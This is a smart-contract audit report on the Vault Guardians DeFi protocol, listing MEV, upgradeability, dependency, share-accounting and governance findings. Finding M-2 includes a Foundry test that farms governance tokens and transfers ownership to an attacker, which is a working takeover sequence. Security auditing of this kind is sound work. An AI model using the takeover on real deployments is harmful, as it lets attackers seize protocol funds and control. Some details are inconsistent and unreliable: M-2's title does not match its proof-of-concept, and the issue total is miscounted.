Protocol Audit Report

Version 1.0

MrSaade

November 25, 2024

Protocol Audit Report

MrSaade

November 25, 2024

Prepared by: [MrSaade] Lead Auditors:

- MrSaade

Table of Contents

Protocol Summary

This protocol combines decentralized asset management with incentivized yield optimization. By staking ERC20 tokens, Vault Guardians can manage user funds across Aave, Uniswap, or hold positions to maximize returns. The performance fee structure and DAO governance ensure aligned incentives while safeguarding protocol integrity.

Disclaimer

This audit report is intended to identify potential vulnerabilities and issues in the vault guardians protocol smart contracts. The analysis is based on the provided source code and aims to highlight security risks, bugs, and inefficiencies. While every effort has been made to identify all potential issues, no audit can guarantee the complete security or functionality of the protocol. The responsibility for addressing and mitigating any identified risks lies solely with the project team. The audit should not be considered a warranty of the protocol's security, and the auditor assumes no liability for any consequences arising from the use or interpretation of this report.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 0600272180b6b6103f523b0ef65b070064158303
- In Scope:

```
All Contracts
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- Tokens:
  - weth: https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
  - link: https://etherscan.io/token/0x514910771af9ca656af840dff83e8264ecf986ca
  - usdc: https://etherscan.io/token/0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48

Known issues

- All issues in the `audit-data` folder are considered known
- We are aware that USDC is behind a proxy and is susceptible to being paused and upgraded. Please assume for this audit that is not the case.

Executive Summary

The vault guardian protocol was reviewed for security, functionality, and alignment with its intended design. The audit identified several critical and low-severity issue. Correcting these vulnerabilities is crucial to maintaining the integrity of the protocol.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	
Gas	
Total	6

Findings

The following findings detail the unique vulnerabilities and potential attack vectors that I identified during the manual review. In addition to the unique findings, I also observed several common vulnerabilities, such as issues with UniswapV2 slippage protection and potential for Guardians to exploit the minting of VaultGuardianTokens to take control of the DAO, which have been reported in previous audits and is the reason for not adding those exploits to my report. However, due to time constraints, I could not perform a deep dive into the interactions with external protocols like Aave and Uniswap.

High

[H-1] Protocol heavily dependency on external protocols can break due to upgrades or bugs

Description

The Vault Guardians protocol depends heavily on external interactions with protocols like Aave and Uniswap, especially during deposit and divest operations. If these protocols are upgraded or have bugs in their interaction interfaces, it could render the Vault Guardians protocol non-functional.

Impact

Changes in Aave or Uniswap, such as API updates or bugs in their external interfaces, could cause the Vault Guardians protocol to break, leading to a potential loss of functionality.

Proof of Concept For instance, the user calls the `deposit` function in the vault protocol which calls into the `swapExactTokensForTokens` in uniswap through the `investfunds` function after a deposit is made into the protocol. Such a function in Uniswap changes or breaks such as in the case of our uniswap router mock contract where the `amountOutMin` is minted as lp tokens and since we pass in `0` as the amountMin param , we get `0` lp tokens anytime we provide liquidity to uniswap. A critical issue in the external interface of the uniswap router mock contract could cause deposits into the protocol to revert, rendering the protocol ineffective.

Recommended Mitigation

Fail-Safe Mechanism: Implement fail-safe mechanisms in adapter contracts. If an interaction with an external protocol fails, ensure it doesn't block or disrupt the functionality of the Vault Guardians protocol. Log failures and revert safely where necessary.

[H-2] Lack of Upgradeable Functionality in Vault Guardians Contract can cause operational disruptions and inefficiencies.

Description The Vault Guardians contract does not have any upgradeable functionality, contrary to what is described in the protocol's documentation. This limits the protocol's ability to evolve over time or respond to unforeseen vulnerabilities or changes in business logic.

Impact If the protocol requires upgrades (e.g., to fix bugs, enhance features, or adapt to new regulations), the absence of upgradeability will result in the need for a new contract deployment, potentially leading to significant operational disruptions.

Recommended Mitigation Implement upgradeable contracts using a proxy pattern (e.g., OpenZeppelin's upgradeable proxy), which will allow the Vault Guardians contract to be upgraded in the future without losing state or requiring a redeployment.

[H-3] MEV Attack Vulnerability in RebalanceFunds, Withdraw, and Redeem Functions

Descripion The `rebalanceFunds`, `withdraw`, and `redeem` functions are susceptible to a MEV (Maximum Extractable Value) attack. In this scenario, a malicious actor (MEV bot or validator) could frontrun the transaction or create a sandwich attack by manipulating liquidity pools in external protocols like Uniswap. This could cause asset imbalances and result in the Vault Guardians protocol losing funds due to impermanent loss or slippage when these functions are called.

Impact An attacker could exploit the timing of the operations and manipulate asset prices within liquidity pools, leading to a loss of value for the Vault Guardians protocol when funds are withdrawn. This can affect both the users and the vault's balance.

Recommended Mitigation

Implement slippage protection in all external protocol interactions, especially when interacting with Uniswap or Aave, to mitigate MEV attacks. This can be achieved by setting maximum slippage limits and only executing transactions within acceptable time bounds.

Medium

[M-1] Missing Fork Tests for External Protocol Interactions (Aave and Uniswap)

Description

The Vault Guardians protocol depends on external protocols like Aave and Uniswap for some of its operations, such as investing in liquidity pools. However, there are no existing fork tests to validate

these interactions in a real-world environment. This raises concerns about potential failures when the protocol interacts with live versions of these protocols, especially if they are upgraded or change their behavior.

Impact

Without proper fork tests, there is no way to ensure that the Vault Guardians protocol will function correctly in the context of real-world, live protocol interactions. A change in Aave or Uniswap could break critical functionality, rendering the Vault Guardians protocol useless.

Recommended Mitigation

Implement fork tests to simulate real-world interactions with Aave and Uniswap and keep the protocol's interaction with external protocols modular and easily upgradable to handle changes in the Aave and Uniswap interfaces. This will ensure that the protocol continues to work even if these external protocols are upgraded.

[M-2] Vault Guardians Setting Vault Inactive Without Guardians Quitting can lock up guradians in a vault permanently.

Description If the Vault Guardians contract sets a vault inactive without guardians quitting first, it could lock the guardians in the protocol permanently, preventing them from exiting. This could lead to guardians being trapped, altering the protocol's behavior.

Impact Guardians would be unable to quit the protocol although they would be able to withdraw their assets. This could discourage participation in the protocol.

Proof of Concept Proof of Code:

Code I added a test to the VaultGuardiansBaseTest.t.sol file to test this scenario.

```
function testGuardianProtocolTakeover() public {
        assertEq(vaultGuardians.owner(), address(vaultGuardianGovernor)
            );

        address[] memory targets = new address[](1);
        targets[0] = address(vaultGuardians);
        uint256[] memory values = new uint256[](1);
        values[0] = 0;
        bytes[] memory calldatas = new bytes[](1);
        calldatas[0] = abi.encodeWithSignature(
            "transferOwnership(address)",
            maliciousGuardian
        );
        string memory description = "Malicious transferring ownership";
        bytes32 descriptionHash = keccak256(bytes(description));

```

```
16          weth.mint(mintAmount, maliciousGuardian); // The same amount as
                the other guardians
17          uint256 startingMaliciousVGTokenBalance = vaultGuardianToken.
                balanceOf(
18              maliciousGuardian
19          );
20          uint256 startingRegularVGTokenBalance = vaultGuardianToken.
                balanceOf(
21              guardian
22          );
23          console.log(
24              " Starting Malicious vgToken Balance:\t",
25              startingMaliciousVGTokenBalance
26          );
27          console.log(
28              "Starting Regular vgToken Balance:\t",
29              startingRegularVGTokenBalance
30          );
31
32          // Malicious Guardian farms tokens
33          vm.startPrank(maliciousGuardian);
34          weth.approve(address(vaultGuardians), type(uint256).max);
35          for (uint256 i; i < 10; i++) {
36              address maliciousWethSharesVault = vaultGuardians.
                    becomeGuardian(
37                  allocationData
38              );
39              IERC20(maliciousWethSharesVault).approve(
40                  address(vaultGuardians),
41                  IERC20(maliciousWethSharesVault).balanceOf(
                        maliciousGuardian)
42              );
43              vaultGuardians.quitGuardian();
44          }
45          vm.stopPrank();
46
47          uint256 endingMaliciousVGTokenBalance = vaultGuardianToken.
                balanceOf(
48              maliciousGuardian
49          );
50          uint256 endingRegularVGTokenBalance = vaultGuardianToken.
                balanceOf(
51              guardian
52          );
53          console.log(
54              "Ending Malicious vgToken Balance:\t",
55              endingMaliciousVGTokenBalance
56          );
57          console.log(
58              "Ending Regular vgToken Balance:\t",
59              endingRegularVGTokenBalance
```

```
60          );
61
62          //delegate vgtokens for voting
63          // Malicious proposal to transfer ownership of the
                vaultguardians protocol.
64          vm.startPrank(maliciousGuardian);
65          vaultGuardianToken.delegate(maliciousGuardian);
66          uint256 proposalId = vaultGuardianGovernor.propose(
67              targets,
68              values,
69              calldatas,
70              description
71          );
72
73          // Log proposal state after creation
74          uint256 voteStart = vaultGuardianGovernor.proposalSnapshot(
                proposalId);
75          IGovernor.ProposalState initialState = vaultGuardianGovernor.
                state(
76              proposalId
77          );
78          console.log("Initial proposal state:", uint8(initialState));
79
80          //fast forward the voting delay
81          vm.warp(block.timestamp + voteStart + 1);
82          vm.roll(block.number + voteStart + 1);
83
84          // Check if the proposal is now Active
85          IGovernor.ProposalState activeState = vaultGuardianGovernor.
                state(
86              proposalId
87          );
88          console.log("Proposal state before voting:", uint8(activeState)
                );
89
90          //cast vote
91          vaultGuardianGovernor.castVote(proposalId, 1);
92
93          //queue the proposal
94          execute(targets, values, calldatas, descriptionHash, proposalId
                );
95          vm.stopPrank();
96
97          IGovernor.ProposalState proposalState = vaultGuardianGovernor.
                state(
98              proposalId
99          );
100         console.log("Proposal state", uint8(proposalState));
101
102         assertEq(vaultGuardians.owner(), maliciousGuardian);
103     }
```

```
104
105     //added
106     function execute(
107         address[] memory targets,
108         uint256[] memory values,
109         bytes[] memory calldatas,
110         bytes32 descriptionHash,
111         uint256 proposalId
112     ) public {
113         //fast forawd the voting period
114
115         uint256 voteDuration = vaultGuardianGovernor.proposalDeadline(
116             proposalId
117         );
118
119         vm.warp(block.timestamp + voteDuration + 1);
120         vm.roll(block.number + voteDuration + 1);
121
122         //exeucte the proposal
123         vaultGuardianGovernor.execute(
124             targets,
125             values,
126             calldatas,
127             descriptionHash
128         );
129     }
```

A malicious user could keep farming vgtokens by becoming a guardian and quitting repeatedly since they only need 4 percent of the total supply of vgTokens(quorum) to pass a proposal and vote to be considered a successful proposal and be executed. In this scenario, the malicious user could then transfer ownership of the vaultguardians contract to themselves, effectively taking control of the protocol.The aftermath of this attack would be that new vaultshares created could be set to inactive, amongst other sensitive dao functions by the malicious user even with an existing guardian in the vault altering the protocol's intented behavior.

Recommended Mitigation Burn VgTokens when a guardian quits and ensure that the vault cannot be set inactive unless guardians have explicitly quit. This can be enforced through proper checks in the contract logic before setting the vault inactive.

[M-3]Immediate Deposit Cuts Impact on Share Calculations.

Description When a user deposits funds into the vault, cuts are applied immediately on the deposit, but according to the protocol's documentation, these cuts should be taken from the yields generated on deposits, not the principal deposit itself. This mechanism affects the total supply of shares in the vault, potentially leading to an imbalance or manipulation in share distribution. The vault's share total

should only reflect the net share after the cut from the generated profits, as well as active user deposits but not the principal amount.

Impact This result in shares distribution imbalances that could lead to unfair gains or losses among participants.

Proof of Concept Proof of Code:

Code I added a test to the VaultGuardiansBaseTest.t.sol file to test this scenario.

```
function testDepositIncreasesSharesImproportional() public hasGuardian {
        uint256 depositAmount = 1 ether;
        weth.mint(mintAmount, user);
        vm.startPrank(user);

        weth.approve(address(wethVaultShares), mintAmount);

        wethVaultShares.deposit(depositAmount, user);

        vm.stopPrank();
        // Get the total shares in the vault after deposit
        uint256 postDepositTotalShares = wethVaultShares.totalSupply();

        // Assert that the total shares after the deposit is greater than the depositAmount and the guradian stake amount
        assert(postDepositTotalShares > depositAmount + stakePrice);
    }
```

Recommended Mitigation Modify the vault contract to ensure cuts are only applied to yields generated from deposits and not on the principal.